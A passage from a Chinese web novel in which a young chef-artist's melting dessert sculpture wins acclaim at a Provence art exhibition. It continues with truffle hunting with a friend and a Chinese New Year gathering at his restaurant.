通常情况下,艺术家送来的作品会附带一份“详细”的介绍说明。 有些人甚至会丧心病狂的写一本书介绍艺术品的前世今生。 但罗德里格这次什么都没看到,似乎送来的只有一个作品? 歌迪亚耸肩: “作者说如果能通过评估,他会亲自和大家介绍主题和创作历程。” 罗德里格身后的某一位格拉内博物馆工作人员弯着腰观察,同时开口说道: “不要对艺术有叙事依赖,我认为这个作品的主题和想要表达的内容非常清晰。” 另一个人也开口道: “没错,这个作品的主题非常清晰,黑色的巧克力碎屑代表大地,主题‘希望’点的是上面的葡萄藤、果实和花朵我猜作者要表达的是,希望春天能看到这些东西顺利的破土而出。” “非常巧妙,这个主题放到现在这个时机正合适,作品里表现出的希望,正是全部普罗旺斯人现在的希望,厉害。” “而且做工也很精细,好吧,虽然我没有见过其他的甜品艺术品.但它的确可以称为是一种‘艺术’。” 抱着来看垃圾心态的专业人士改了口风,开始认真点评,美美的听完了他们的全部夸赞后,歌迪亚风情万种的撩了一下头发,用‘你们还是太年轻’的语气说: “你们还没有解读出作者想要表达的全部主题。” “怎么可能?”有个人皱起眉头,“那你说它的主题是什么?” 歌迪亚笑了两声: “您刚才没有听到我说的话吗?我说如果这个作品能够顺利通过评选,作者会亲自和大家介绍主题和创作历程。” 你问我,我问谁? 罗南也没告诉我啊! “不是不是,这位女士——”罗德里格把单片眼镜摘下来,“你不给我一些介绍,我如何把这个作品展示出去呢?旁边放一张白纸吗?” “通过了?”歌迪亚眼眸一亮。 罗南,你小子真争气啊! 真让我在格拉内博物馆工作人员面前装到了! “当然!”罗德里格里格突然俯下身去,重新欣赏这个作品,“我很喜欢它,非常喜欢!” 歌迪亚正要询问接下来的细节,始终没有说话的馆长诺曼德开口了: “罗德里格,这的确是一份很不错的艺术品,但我认为它并不适合放到你的展厅里。” “为什么?”歌迪亚和罗德里格异口同声的问。 诺曼底的视线从罗南的作品上移开,语速平缓的说: “事实上,之前出现过用食物创作的艺术家,但他们不免会遇到一个问题——保质。” 他指着桌子上的甜品说: “你觉得它可以保持这个状态多久?2天,3天?一周后它会变成什么样子?这是食物无法成为艺术品的根本问题。” 这个问题歌迪亚还真想过。 她的解决方式是,先把这个作品放到冷柜里保存起来,每天要展览时再拿出,这样可以极大的延长‘保鲜’时间。 但她还没来及说什么,罗德里格先一步说道: “我去调一组强力制冷设备来不就可以了?让这个作品24小时处在低温的状态里。” 想到什么,他突然用力拍了一下手: “单独隔出一个房间放这个作品,不不不,我要把它放到中央展厅里,再把中央展厅的温度设置成零下,让全世界的游客感受一次普罗旺斯人民刚刚经历过的那次自然灾害,对对对,这太艺术了!太艺术了!!” 歌迪亚不敢置信的看向罗德里格。 还得是你啊! 我就知道小子一定能整出‘意想不到’的东西! 不过这次我不跟着其他人一起骂你了,只要你能收下这个作品就行!! 罗南的作品太符合罗德里格的胃口了,他像是遇到了宝贝一样,谁劝都没用,必须要把这个作品收进来。 格拉内博物馆的工作人员小声问馆长诺曼德: “不管了?就任由他胡闹?” 诺曼德摘下眼镜笑着说: “作品好就是好,不好就是不好,劝他是因为其他原因,作品本身没问题,他想要就让他留下吧,这总比他收的那些破桌子和烂椅子强。” 说完,他戴上眼镜,又回头看了一眼那个名叫‘希望’的甜品,默默叹了一口气。 太遗憾了。 如果这个作品能像其他材料制作的艺术品一样,可以保存就好了。 它真的完美贴合了这次活动的主题。 第三天早上,罗南开车带着歌迪亚、佐伊和巴蒂来到戈尔德,参加罗德里格展览的开幕仪式。 佐伊和巴蒂度过了辛苦的‘创作’期,正在等待2月份所参加的活动开始,现在没有什么事情做。 这是罗南以艺术家身份参与的第一个活动,身为女朋友和‘老师’的他们有义务来给他加油打气。 “到了那里,你就两眼一闭、两耳一关,别人说什么你都别听别看,等罗德里格带着他的朋友们来,你再把眼睛和耳朵打开,和他们好好互动。”巴蒂嘱咐罗南。 罗南不解的看过去: “什么意思?” “没什么——”巴蒂似乎不想细说。 “罗南没那么脆弱,我已经给他介绍过今天有可能的情况了。”佐伊扭头,看着罗南的侧脸说,“罗德里格在普罗旺斯艺术界的口碑挺奇特的,可能会有人抱着‘看笑话’的心态来看他的展,但你记住,如果听到不好的话,绝对不是针对你就好了。” 罗南笑着点头: “我不在意那些,只要有关注度就行。” 歌迪亚一边咧嘴一边摇头: “我劝你别把事情想的太简单,真的到了那个环境你就知道了。” 罗南已充分做好了在‘指指点点’环境中待一上午的准备,但他万万没想到,实际要面对的却是一个无比‘寒冷’的环境。 一进中央展厅,罗南以为戈尔德城堡里有什么不干净的东西复苏了。 里外至少有10度的温差。 “罗德里格是不是有病啊,我是来看艺术展的不是来做行为艺术的.他想冻死我吗!” “该死的,我以为会被他收的作品搞破防,没想到被这里的温度搞破防了他真是‘不走寻常’路到极致了,这种馊主意也能想得出?” “我只是想来看参加开幕式的那些知名艺术家,对他这里的作品完全不感兴趣,有人知道他们什么时候来吗?” “快了快了,他们的第一站就是中央展区!” 罗南的作品被摆放在中央展厅的核心位置,作品周围有四个巨大的机器正在不间断的喷吐寒冷的雾气到玻璃罩子上。 “这是干什么?”罗南加快了脚步。 走到跟前一看,它的作品不止被冷藏了,还有一个一人高的‘作品介绍’摆在旁边。 主办方用非常优美的文字介绍了这个作品的主题——取材于普罗旺斯刚刚经历的那场毁灭性寒潮,这个作品聚集了所有普罗旺斯人的希望。 罗南直接笑出了声。 挺好挺好,他自己说都说不出这么‘感天动地’的故事。 能看出罗德里格先生很重视这个作品。 虽然中央展厅气温寒冷,但这个作品的‘阵势’太奇特了,附近已经围了不少参观的游客,时不时就会有几道惊呼声传出。 “呀,居然是甜品!” “我还是第一次在艺术展上看到用甜品制作的东西啊,哎,这事也只有罗德里格才能做出来。” “但他也不能为了作品让我们受冻啊!” 不多时,‘全民公敌’罗德里格带着他的嘉宾们出现在中央展厅里。 这里的奇特环境不止影响了游客,也影响了他身边的各位嘉宾。 “怎么突然这么冷了?”一位五十多岁的白发老妇人眉毛忽的竖起。 罗德里格笑着解释: “首先是要保护一件作品,其次,蒂凡妮你不觉得我们应该让全世界人民关注到普罗旺斯刚刚经历的灾难吗?” 身为普罗旺斯最著名的几位艺术家之一,蒂凡妮把一嘴的脏话咽下去,回头提醒助理去给她拿件衣服,之后微笑着对罗德里格说: “很有意思的主题,那么带我们来看看你这里的作品吧。” 我是艺术家啊,我怎么能因为温度而说脏话呢? 罗德里格把二十多个人带到一个破破烂烂的桌子前,得意的介绍: “现在出现在你们面前的是——” 不等他说完,艺术家们争先恐后的点评出‘恶毒至极’的话语。 身为艺术家我们当然不能因为温度失了仪态,但我们可以在点评艺术品的时候‘公报私仇’啊。 罗德里格,你这里全是垃圾!!! 当然了,气归气,知名艺术家们也没有那么不专业,就像诺曼德说的,作品好就是好,不好就是不好。 但遇到不好的作品还不能让我们说两句了吗? 罗德里格原本红润的脸色,似乎也染上了一层冰霜。 见一连三件作品都没有收到什么积极的评论,他把众人带到了他这次最喜欢的作品面前。 “朋友们,在你们面前的,是普罗旺斯艺术展里出现的第一个以甜品为原型出现的艺术品,他的名字叫做——希望。” “就是因为它这里温度才那么低的吧?”一个鹰钩鼻的中年男人皮笑肉不笑的问。 “是的于格,它是一件甜品,不冷藏会坏的。”罗德里格耸肩。 蒂凡妮没有着急开骂,看了一眼,不咸不淡的说: “这个作品还行。” 罗德里格兴奋的指着旁边的介绍说: “这个作品厉害在主题上,你们看看!” 艺术家们安静的看了一会介绍,再看这份甜品时的眼光不太一样了。 因为对普罗旺斯的热爱,这些艺术家放下彼此之前的成见和过往纠葛,难得的齐聚一堂,努力维护普罗旺斯艺术家们的面子。 因为对普罗旺斯的热爱,他们看到这个作品,似乎看到了几十万普罗旺斯的人民。 破土而出的葡萄藤、肥沃的果实和娇艳的花朵正是热爱自然的普罗旺斯人现在最想看到的东西。 “挺好的。”蒂凡妮改了口,“这个作品不错。” 鹰钩鼻于格也暂时原谅了这个制造冷气的罪魁祸首,双手抱胸的说: “这个作品里的每一个元素都是‘自然’最真实的体现和映射,并没有硬贴主题很有特色。” 等这些艺术家们逐一点评、夸赞完,罗德里格突然得意的哈哈大笑了几声: “你们以为这就完了,这就是这个作品要表达的全部了?错错错,大错特错!这个作品的主题远不止如此!” 该死的,终于让我‘扬眉吐气’了一次。 罗德里格对着四周喊道: “作者在吗,作者在哪里?” 快快快,快给我继续涨涨面子! 一个身型高挑、面容清秀的黑发黄皮肤年轻男人走入了大家的视线。 “我是作者,罗德里格先生。” 罗德里格和他身边的艺术家们皆是一愣。 居然这么年轻。 这年头,有才华的年轻艺术家可不多见了。 罗德里格暂时按捺住心中的疑虑,温和的说: “你叫罗南对吧?快给大家介绍一下你这个作品的全部主题和创作历程。” 罗南微微前倾身子,礼貌的给大家鞠了一躬,不疾不徐的说: “我叫罗南,我有很多身份,艺术家只是其中的一个,我是松露猎人、是农夫、是集市摊主,我还开了一家餐厅。” 他露出灿烂的微笑: “餐厅在卢尔马兰,卖的是中国食物,额甜品很有特色。” 罗南身后的佐伊、歌迪亚和巴蒂同时笑出了声音。 这小子,都到了这个场合还没忘记打广告! 不过很快他们又继续正色的看过去,等待罗南的下文。 这个作品还能有什么其他的主题呢? 完全看不出啊 在正式介绍作品前,罗南先向罗德里格先生请求了一件事: “您可以把这里的冷风机关了吗?” 罗德里格一愣: “可是,温度升上去,它很快就会变了样子啊。” 罗南微笑着说: “先生,请问这次活动的主题是什么?” “自然啊。”罗德里格诧异的说。 这孩子是不是被冷气吹坏脑子了? 要不你先去外面缓缓?? 罗南脸上看不出任何开玩笑的样子,认真无比的说: “没错,是自然,但自然只有好的一面吗?” 罗南转身指向身后玻璃罩里栩栩如生的甜品,清澈干净的嗓音在整个中央大厅里回荡开来: “甜品会融化、会变质,就像这些我用巧克力和奶油做出来的葡萄藤、果实和花朵一样.它们无法永远保持最美丽的样子。” “在半个月前,我和我的朋友们竭尽全力和寒潮抗争了一周,但结果可以用惨烈来形容,我亲眼见到了葡萄藤死亡、大地开裂、果实被冻死在泥土里,所以自然赐予我们的不止是丰腴、丰收和喜悦还有毁灭、衰败、枯萎和痛苦,当这个甜品完全融化腐烂时,大自然才展现完它全部的样子。” 罗南用恳求的语气继续对罗德里格说: “所以先生,请您关了冷气吧,这样这个作品才是‘完整’的。” 原本熙熙攘攘的中央大厅突然变得鸦雀无声,只有几个尾音还在回荡。 ‘啪——’ ‘啪啪啪——’ 突然,一道掌声孤孤零零的响起。 大家向声音发出的方向看过去,发现鼓掌的人是格拉内博物馆的馆长诺曼德。 “我很荣幸能亲眼见证这短暂但伟大的艺术作品诞生.孩子,你创作了一件真正的艺术品,无与伦比的。” 第302章 中心的舞台 普罗旺斯艺术家们对罗德里格的态度是‘奉承’,他们在意的是他口袋里的钞票。 但这些专业人士对诺曼德先生的态度则是深深的尊敬。 艺术家大多只精通一到两个艺术领域,但诺曼德先生是艺术界的‘全知全能’者,他对每一门艺术都有相当重的话语权。 很快,那些原本还拿不准主意、不知该如何看待这份甜品的艺术家和来自世界各地的游客也跟着鼓起掌来他们用实际行动,表达了对这个作品的肯定。 这的确是一个伟大的作品,毫无疑问的。 罗德里格像是自己被得到夸赞一样,对着四周摆了下手,示意大家可以停下了: “我马上让人关掉冷气系统,如果有机会,希望大家和我一起见证‘自然’的全部模样。” “一定,我每天都要来看看它!” “还好我今天带了相机,先把它今天的样子拍下来,好和后面几天做对比。” “这个创意真的是太棒太有意思了!我从未见过每天都不一样的艺术品。” 罗德里格和他的嘉宾们不能一直停留在这里,大家依依不舍的和这个作品还有作品的作者罗南告别,并表达了希望在未来的某一天能再相见的美好愿景。 和罗南错身时,罗德里格悄悄对罗南眨了下眼睛,语气轻快的说: “你很快就会和大家再见面,相信我等我忙完这次活动就去卢尔马兰找你。” “我很期待,罗德里格先生。”罗南回以微笑。 所有人都离开了,但格拉内博物馆的馆长诺曼德却依然留在原地,没有跟着去欣赏下一件作品。 他走到罗南的身边,赞赏的问: “你还参加其他的哪个活动了?” 罗南给诺曼德留下了极深的印象,他猜这么优秀的艺术家肯定不会只参加这一个活动。 在这次戈尔德的盛事上,越是优秀的艺术家越活跃,一行的蒂凡妮和于格等人,都有十几二十件作品将在这个活动周期内展出。 诺曼德想去看看罗南其他的作品,看看是不是也这么有创意。 罗南歉意的摇头: “抱歉先生,这次我只参加了这一个活动。” 诺曼德先生一愣,语气里充满了诧异: “你只参加了罗德里格的这一个展览?” 罗南不好意思的说: “前半个月我在抗寒,错过了其他展览的送展截止日期等我终于有时间了,留下的选择也不多了。” 诺曼德恍然大悟的点了下头,想起来罗南介绍自己时说的那些复杂身份: “这件事应该是我向你说对不起送展日期没有把你这种特殊情况考虑进去。” 身为普罗旺斯最重要博物馆的馆长,诺曼德同时是这次戈尔德‘大地艺术’系列活动组委会的成员。 每一个展览的主题、规模和举办时间等信息,都要经过组委会的允许。 诺曼德先生继而用惜才的语气说: “不过如果你有很想参加的活动,我可以去帮你打个招呼,也许他们会破例再看看你的作品,但我并不敢保证这一定可行。” 罗南眼前一亮。 还可以这样? 但他对这次系列活动并不熟悉,即使诺曼德先生给了他一次机会,也不知道要如何选择。 罗南立即求助的看向身后的佐伊和歌迪亚。 早在罗南回头之前,歌迪亚和佐伊就已经在小声讨论了,只用了短短的几秒钟,她们的意见就得到了统一。 歌迪亚向前一步,表情平静的说: “你好诺曼德先生,我是罗南的经纪人歌迪亚,其实这次我们的第一选择是戈尔德中心雕塑展,不知道还有机会参加吗?” 歌迪亚的‘经纪人’身份把罗南的艺术水平又提高了一截。 在普罗旺斯,只有著名艺术家或者非常有天赋的年轻艺术家才会有经纪人在一旁协助。 诺曼德先生看向歌迪亚,皱着眉头说: “中心雕塑展你确定想让罗南参加中心雕塑展?” 那是一个专门面向雕塑艺术家的活动,是这次戈尔迪系列活动中雕塑技艺最高水平的一个展览。 但‘希望’这个作品并没有体现出来罗南的雕塑能力啊。 歌迪亚语气坚定的说: “没错先生,就是中心雕塑展,实不相瞒,罗南真正的特色在他精美的造型能力和雕工上那一点都不输他的叙事能力,希望您能给他一个机会展示自己的另外一面。” ‘希望’是典型的叙事向作品。 它的价值体现在自然是什么,和人与自然的关系是什么样子上,以‘主题’取胜。 但艺术界中更多的作品是依靠美轮美奂的外形和鬼斧神工的技艺而传世和闻名。 歌迪亚和佐伊的意见高度统一——罗南有登上最权威雕塑艺术展平台的实力。 但如果他自己去送,可能会因‘查无此人’而被拒绝,但如果有诺曼德先生为他传话,这个概率将大大提升! 不要忘记,在普罗旺斯艺术界,最重要的是口碑和名气。 拉内博物馆馆长的推荐正好可以弥补罗南没有的东西! 诺曼德推了一下眼镜,表达了自己的观点: “明白,但恕我直言,中心雕塑展的要求非常高,你应该知道,这次一切以‘中心’命名的活动都是由官方举办,如果罗南之前没有这方面的成绩活动方不一定会同意给他一个机会,即使我去,也没办法改变这个现实。” 戈尔德这两个月里大大小小的活动不少,但大部分都是陪衬,实际能和安迪·戈兹沃打擂台,或者给普罗旺斯艺术界正名的只有几个官方举办的艺术活动。 例如戈尔德中心雕塑展、戈尔德中心画展、戈尔德中心艺术品展等等这才是汇聚了普罗旺斯艺术最高水平的主舞台。 而卢尔马兰的艺术家中,只有佐伊和巴蒂通过了‘中心’活动的选拔,作品顺利入围了。 诺曼底先生无疑是爱才的,且对罗南的保护意味明显,歌迪亚也清楚这对罗南非常重要,于是和他对了下眼神,想听从一下他本人的意见。 是争取登上主舞台,还是退而求其次找一个安全的展示机会? 罗南没有直接回答,而是跃过人群看向‘希望’。 那周围围满了拍照和欣赏的游客,是中央展区中毫无疑问的焦点作品。 他沉吟了几秒,看向诺曼德先生: “先生,我还是想去最‘中心’的舞台,而且我有预感他们会给我开这个后门的。” 诺曼德先生没有再劝说什么,他也曾年轻过,能理解年轻人、尤其是年轻艺术家的心理,很快答应下来: “好,那我就去问问。” 之后诺曼德先生留了歌迪亚的联系方式,告诉她如果中心雕塑展同意看看罗南的作品,会立即打电话通知她这个好消息。 临走之前,他语重心长的叮嘱罗南: “不得不提醒一下,艺术包容世间万象,不是每一次活动主题都会围绕‘自然’,你应该把食材的‘保鲜’考虑进未来的创作中。” 罗南感激的点头: “我明白,诺曼德先生,请您放心,即使依然是‘自然’主题,我也只会用一次‘自然全貌’的创作方式,艺术不该只局限在一个框架里。” 诺曼德先生露出了更加赞许的笑容,拍了拍罗南的肩膀: “我会努力给你争取下一个展示机会。” 第303章 圆满成功,各种意义上的圆满! 罗南、佐伊和歌迪亚目送诺曼德先生离开后,第一件事就是找寻巴蒂的身影。 这个家伙消失半天了。 不是来给罗南加油打气的吗这是去哪里‘加油’了? 很快,他们在‘希望’附近最密集的人群里,看到了一脸喜色的巴蒂。 他正和身边的七八个女艺术家激情四溢的交流着什么。 “上帝,巴蒂真是到哪里都不改本性啊。”歌迪亚无奈的摇头。 罗南笑着给‘老师’巴蒂开脱: “如果不是我留他,他现在已经在尼斯感受大城市的热情了这段时间又是‘大地艺术’展又是忙编织订单肯定累坏了,让他放松下吧。” “你可真会给他找借口”歌迪亚撇嘴。 似乎是感受到了背后出现三双冰冷的眼睛,巴蒂扭头,和罗南几人对上眼神。 他伸出一个大拇指,开心的用嘴型说: “有几个艺术家想去卢尔马看看,我把餐厅地址告诉她们了!” 罗南、佐伊和歌迪亚先是一愣,随即远远的回给了他六个大拇指: 不着急不着急,你继续聊吧,加油啊! 我们等你!! 歌迪亚和主办方协商,罗南只能出席上午的活动。 一开始主办方还不太愿意,但‘希望’是展览第一天最焦点的作品。 不仅罗德里格先生喜欢,诺曼德先生还亲自带头鼓掌.工作人员很有自知之明,说不定未来七天展览只能靠这一个作品‘撑场子’,自然也不敢为难制作它的艺术家了。 他们的态度来了个一百八十度大转变,不仅同意让罗南下午回去,还亲自把几个人送出了城堡。 “罗南先生,期待下次与您的合作。”他们满脸堆笑的说。 “好的,别送了,你们回去吧。”罗南和他们挥手告别。 走远了一些,歌迪亚小声嘟囔: “还是别有下次合作的机会了吧这次是不得已而为之。” 谁想让作品和罗德里格扯上关系啊?! 罗南倒是有不同的意见: “罗德里格先生审美是在线的.” 上午他在城堡里转了一圈,虽然有些作品确实很一言难尽,但罗南发现了许多新潮的东西。 例如纯机械制作的艺术品,回收塑料组成的小城堡和类似未来3D投影艺术似的灯光秀。 罗南只能说,罗德里格先生的意识挺超前的。 但时代不会停下脚步。 现在‘人人喊打’的他,过几年说不定会成为‘最大赢家’。 而且罗德里格先生临走时已经说过了,忙完展览会去卢尔马兰找罗南这是他想躲就能躲开的吗? 只是不知道他来卢尔马兰的目的是什么。 罗南的第一次艺术活动可以用圆满成功来形容。 今天有那么多大师在场,罗南这个名字很快就会在普罗旺斯艺术界传扬出去,说不定未来6天会有接连不断的知名人物来欣赏他的作品。 但罗南的目的并不是成为什么知名艺术家,而这一层目的有人‘间接’的帮他完成了。 “那些女艺术家一定会喜欢上卢尔马兰的艺术环境,我决定未来几天都来这里宣传一下。”巴蒂轻轻挥舞了一下拳头,给自己打气。 “那是当然了。”罗南笑着看他,“其他地方有可能比卢尔马兰的艺术气息重,但那里绝对没有像你这样热情的伙伴,你真的太热情了巴蒂,把在哪里租房子都给她们讲了。” 巴蒂嘿嘿笑了两下,转而认真下来对罗南: “还有一些游客是被甜品吸引了,想去卢尔马兰看看你餐厅里其他的甜品我说你是不是该更新菜单了?” 罗南心中一动,眼前马上出现淡蓝色的屏幕。 最下方【幸福度】一栏的数值已经来到了4789,距离5000大关不远了。 “是的,最近我就要着手研发新甜品了。”罗南点头道。 他打算等升级了【烹饪】,看看得到了什么新的能力后再做甜品的升级。 歌迪亚从一出城堡就开心的哼起了歌曲。 佐伊笑着问她: “这么开心?” 歌迪亚爽朗的笑了几声,指了下罗南,又指了下佐伊,语气里有抑制不住的兴奋和期待: “我有一种预感,你们两个家伙说不定真的有可能让我成为法国艺术界的传奇经纪人.像丹尼尔·亨利·卡恩韦勒那样的传奇经纪人!我太激动了!!” 丹尼尔·亨利·卡恩韦勒是毕加索、乔治·布拉克等立体派艺术家的独家经纪人,推动立体派从先锋实验走向主流,在法国艺术界留下过浓墨重彩的一笔,是几乎所有本土艺术经纪人的目标和偶像。 佐伊开心的挽住了歌迪亚的胳膊: “不止是我和罗南,你还是卢尔马兰所有艺术家的经纪人,我们其中哪一个出名了都离不开你!” 巴蒂感激的看过去: “没错歌迪亚,没有你我都不知道有这个活动,更没机会参与到‘中心’的主舞台上。” 编织技艺太小众,巴蒂从来没想过自己还能参加活动和展览。 是歌迪亚言之凿凿的鼓励他:你只管做好作品,送展和申请的事情交给老娘我,就你这水平,他们如果不要,说明眼睛瞎了。 罗南探头,绕过佐伊看向歌迪亚和巴蒂: “我要感谢你们两个,感谢你们加入到了卢尔马兰这个艺术大家庭里。” 如果未来卢尔马兰真的成为了普罗旺斯粉红酒之都你们都是功勋人物! 歌迪亚被夸的不好意思了,拉着佐伊调转了一个方向,并加快了脚步: “既然说到了卢尔马兰艺术大家庭,那咱们去看看其他人吧薇薇安和罗纳德今天都在戈尔德。” “我们买点吃的去找他们吧?戈尔德有一家很好吃的黄油面包。”巴蒂贴心的说。 “马上到吃午饭的时间了,不如叫上他们一起吃饭?”佐伊建议道。 “我不去了,你们去吧。”罗南停下脚步笑着看他们。 已经11点了,他该去弗拉西耶了。 佐伊轻轻抱了一下罗南,浅笑着说: “快去忙吧,我的大艺术家。” 罗南利用‘科学’依据寻找松露踪迹,只要人的状态正常,每天的松露采摘量很稳定,会一直控制在某个区间范围内。 但卢卡斯找松露全部要依靠玛格丽特的鼻子。 玛格丽特是个好孩子,但它毕竟是小动物,难免会有些突发情况,所以卢卡斯每天带回来的松露重量相差会特别大。 差的时候只有1.5公斤,好的时候比罗南带回来的还要多。 担心卢卡斯那里今天的情况不稳定,罗南特意拉长了在森林里的工作时间。 平时他3点半,最晚不会超过4点一定会返程,但今天是等天完全黑下来后才离开,回到卢尔马兰时餐厅都快打烊了。 现在是闭餐时间,冯珍和罗天海一脸关切的围过去,上上下下的检查罗南的身体: “怎么今天回来的这么晚?” 罗南笑着扬了一下手里的松露袋子: “凑到2.5公斤才回来的。” 这样即使卢卡斯那里是最差的情况,他们也有4公斤的新鲜松露了。 莉亚拍着胸脯说: “哎呀担心死了我,你再不回来我都要给佐伊打电话了.” “没事,大家别担心。”罗南垫脚看收银台后面,“今天卢卡斯带回来了多少?” 冯珍皱着眉头说: “卢卡斯也还没回来呢,所以我们才会那么担心啊,你们两个怎么都晚回来了呢。” 罗南发出了一声疑惑的鼻音: “卢卡斯也没回来?” 第304章 无比安心 夜幕中。 卢卡斯一手扶着方向盘,一手夹着烟,开着他的老伙计越野吉普行驶在D943号公路上。 吕贝隆腹地没有道路指示牌,司机都是根据两侧的建筑物判断自己开到了哪里。 在月光的照耀下,卢卡斯终于看到了模糊不清的卢尔马兰城堡。 “乖女儿,我们马上就到家,回家给你牛肉吃。”卢卡斯看了一眼后视镜,虽然这个角度完全看不到趴在后座上的玛格丽特,但他习惯时不时就看一眼那里。 不一会,他的手肘碰到了一个软乎乎的东西——是玛格丽特的脑袋伸到了中控扶手上。 这是她‘委屈’了、求摸摸的表现。 每当玛格丽特心情不好,都会凑到卢卡斯的手边。 卢卡斯把刚抽了三四口的烟扔出窗外,换了一个开车的手,腾出右手来抚摸玛格丽特的脑袋,用哄孩子的语气温柔的说: “辛苦了宝贝,你最近表现太棒了,明天我们睡到7点好不好?晚出去两个小时,你也能找到足够的松露,我的女儿是最棒的!” 玛格丽特哼唧了两声,就这样被抚摸着闭上了眼睛。 卢卡斯长长的叹了一口气。 玛格丽特是标准的‘女王’性格,很少会‘求摸摸’,但最近她每天都要找卢卡斯两到三次显然是真的感觉到累了。 他决定无论开春之后的情况如何,即使一无所有.下个冬天也不让玛格丽特进山了。 大型犬的寿命比小型犬短,玛格丽特已经7岁,她该过无忧无虑的晚年生活了。 卢卡斯是很缺钱,但他不会自私到把钱建立到损害玛格丽特或者其他人的身上。 压力他自己扛下就可以了。 “等冬天过去,要联系一下卖玛格丽特的商人,再问一问他那里有没有刚毛犬。”卢卡斯做下了决定。 老越野刚下了平坦的主路,拐入连接D943公路和卢尔马兰村口的一段土路上,面前的黑暗中突然出现了两只‘眼睛’。 卢卡斯看不清那是什么车,但那个车主不停的闪大灯,似乎在提醒——看看我这里! 他放缓了车速,不等完全停下,对面那辆车的车门打开,小跑出来一个人。 又不等卢卡斯看清来的人是谁,隔着玻璃听到了略显焦急的声音: “你没事吗?玛格丽特没事吧?” 卢卡斯把车窗打开,哭笑不得问罗南: “你怎么来村口等了?” 待看清玛格丽特的状态也没有异常后,罗南才放下心来: “你怎么回来这么晚啊,现在都8点多了。” 罗南在餐厅等啊等啊等,等到客人一桌桌离开,还是没见到卢卡斯的人.索性开车来村口了。 虽然是为了帮助卢卡斯缓解压力,但这次合作是罗南主动发起的,万一卢卡斯或者玛格丽特采松露时出了一点什么意外.罗南会后悔死。 卢卡斯把副驾驶脚下的松露袋子拿起来: “我怕你那里有变故,2.5公斤不保险,挖到3公斤才回来。” 罗南没忍住,拍了下车门: “我也怕你那里出问题,采够2.5公斤才回来的,上帝,我们今天居然凑够了5.5公斤?” 阿方斯说,在现在的普罗旺斯,每天能稳定供应3公斤新鲜松露就‘值得’拿到超过2500法郎/公斤的价格。 他们不止挖到了3公斤,还能再超2.5公斤,要不要这么拼啊! 不过很快,两个人又同时笑出声来。 没办法.罗南和卢卡斯都属于极度有‘责任心’的那种人。 虽然他们各自‘有责任’的表现不同,但都习惯让自己扛上压力,给其他人减轻负担。 “没事就行。”罗南把手伸进去,“松露给我吧,你直接回家,玛格丽特肯定累了,也别让家里人担心。” 拿走松露,罗南小跑着回车里,卢卡斯也再次发动了车子。 但卢卡斯没有着急开走,而是缓缓的并排停到了罗南车子的旁边。 见卢卡斯的车窗没有摇上去,罗南也把车窗摇下来: “怎么了?” 卢卡斯拍了一下方向盘,目视前方,表情和语气非常放松: “没什么,就是想说和你合作真的很安心。” 卢卡斯的上一个合作伙伴奥利维尔在他最困难的时候离他而去。 他现在的合作伙伴却抢着和他扛‘压力’。 两者区别太大了,难免会有极大的感触。 罗南摇了摇头,无奈的叹气: “这也是我想说的,我知道你足够‘靠谱’,才敢和你一起接下这个生意,如果换一个人打死我也不接下它。” 你可太‘靠谱’了,我的伙计。 都到现在了,愣是没有一个家人知道你走投无路了。 “行了,走吧。”卢卡斯摆手,就要摇下车窗。 “诶,等等!”罗南突然叫停了他的动作,笑着说,“刚刚太着急,把重要的事忘记了,后天让你妻子和儿子来我餐厅过年吧,你采完松露也直接过来,大家热闹热闹。” “过年,什么年?”卢卡斯今年夏天没在卢尔马兰生活,不知道大家在雨后包饺子的‘过节’故事。 罗南笑着挑了一下眉毛: “来了就知道了,你一定要来啊,后天我所有朋友都会来,对了,记得带着玛格丽特一起!” 普罗旺斯刚刚经历了可以在20世纪排入前三的大灾害,整个吕贝隆腹地的居民情绪都不高,这个时候餐厅要是大张旗鼓的推出个喜庆的‘中国春节’活动,非常不合时宜。 所以这次春节,罗南只是小范围的把朋友们都邀请来,如果有村民或者顾客看着他们热闹,想一起过那也欢迎。 反正除夕那天来帮忙的人多,多个十双八双的刀叉不是问题,再多来点人他们也应付的过来.毕竟这是个餐厅嘛。 在普罗旺斯活动的华人不多,但阿维尼翁和马赛的中国超市里都卖过年的传统装饰物。 不限于福字、春联,年画、灯笼、窗花剪纸、小孩玩的纸风车、红纸折的元宝和当地华人自己发明的其他寓意好的红色装饰品。 早在半个月前,冯珍就坐着卡车去阿维尼翁狠狠的采购了一次,并从1周前开始布置。 现在餐厅里随处可见红色的装饰物和摆件,配合着中式风格的装修,罗南每次进来都以为自己穿越到了古代一个王府家里,而且府上在办喜事。 他从来没见过那么多红色的东西! 不过装饰物过多的问题,也只有罗南和罗天海爷俩会抱怨两句,没见过这种阵仗的普罗旺斯人看到餐厅布置成了这个样子,第一个反应是新奇。 除夕早上,卡福带着妻子和孩子一进餐厅,就激动的拍手: “对对对,就是这个感觉,这就是我印象中的中国风!气氛太对了!!” 罗南第一次跟他说要把餐厅布置成‘中式’,卡福脑海中出现的就是面前的样子。 罗南白天不在餐厅里,要傍晚回来,冯珍负责接待他的朋友们: “快进来吧,罗南给你准备了礼物。” 卡福错愕的伸手指自己: “给我准备了礼物?” 卡福的儿子蹦蹦跳跳的说: “礼物礼物!爸爸快去拆礼物,我喜欢礼物!” 冯珍蹲下来,给了卡福的儿子两块糖,笑着摸了摸他的脑袋: “你也有礼物。” 之后他对初次见面的卡福妻子说: “罗南也给你准备了。” 卡福的眉毛拧成一团。 罗南都没见过他的妻子和儿子啊怎么还给他们准备礼物了? 见卡福一家一脸疑惑,冯珍自豪又得意的叉起了腰: “罗南给今天来的每一位朋友和朋友的家人都准备了礼物,快进去看看他给你们准备了什么吧!” 第305章 小天使罗南 卡福带着妻子和儿子进入餐厅。 虽然现在时间尚早,但里面已经来了不少卡福的熟人。 他们都是在罗南餐厅装修期间,过来帮忙的农夫和村民。 罗南的这帮卢尔马兰朋友,多次和卡福的装修队发生‘冲突’,双方都认为自己在装修过程中产出的价值更大。 那两个多月,卡福一见到这帮人就‘头疼’,每次躲的远远的,憋屈的要死。 他看到其中一个叫‘法比安’的家伙正在那里手舞足蹈的大喊: “罗南是我最好的朋友!最好的!!” 四十多岁的大男人在妻子和孩子面前咋咋唬唬的? 我呸!真丢人! 卡福正想过去‘嘲讽’两句,突然被佐伊叫了过去: “卡福,罗南给你准备的礼物在这里。” 佐伊和维埃里坐在一张由三张方桌拼成的长桌后,他们面前和脚边全是包装精美的礼物盒子。 卡福走过去,惊讶的问: “罗南还真给每个人都准备了礼物?” 佐伊把一个小小的蓝色盒子递给他,笑着说: “是的,每个人都有。” “都那么熟了,搞这些干什么。”卡福一边嘟囔一边拆包装纸。 